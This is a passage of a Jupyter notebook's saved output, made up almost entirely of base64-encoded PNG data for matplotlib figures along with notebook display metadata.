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\ngg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x103d78710>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "image/png": "iVBORw0KGgoAAAANSUhEUgAAAYcAAAEACAYAAABYq7oeAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzsnXd8VFX6/993SqYlk0nvHUI19KKgKMgCFpCirpWf4rqu\nfRcLrg0s2FB01772gqgoiA1BQBCRJi1AQgkE0kgvM8n0Ob8/hns2QwAR2UX3O5/Xa165Offec597\n5855zjnP53weRQhBGGGEEUYYYbSH5lQbEEYYYYQRxm8PYecQRhhhhBFGB4SdQxhhhBFGGB0Qdg5h\nhBFGGGF0QNg5hBFGGGGE0QFh5xBGGGGEEUYHnBTnoCjKaEVRihVF2aUoyt1H2P9nRVG2KoqySVGU\nlYqidG237x5FUXYrilKkKMofToY9YYQRRhhh/Doov3adg6IoGmAXMAKoBNYDfxRCFLc7JlII4Ti0\nfSFwoxBijKIo3YH3gQFAOvAt0FmEF1+EEUYYYZxSnIyRw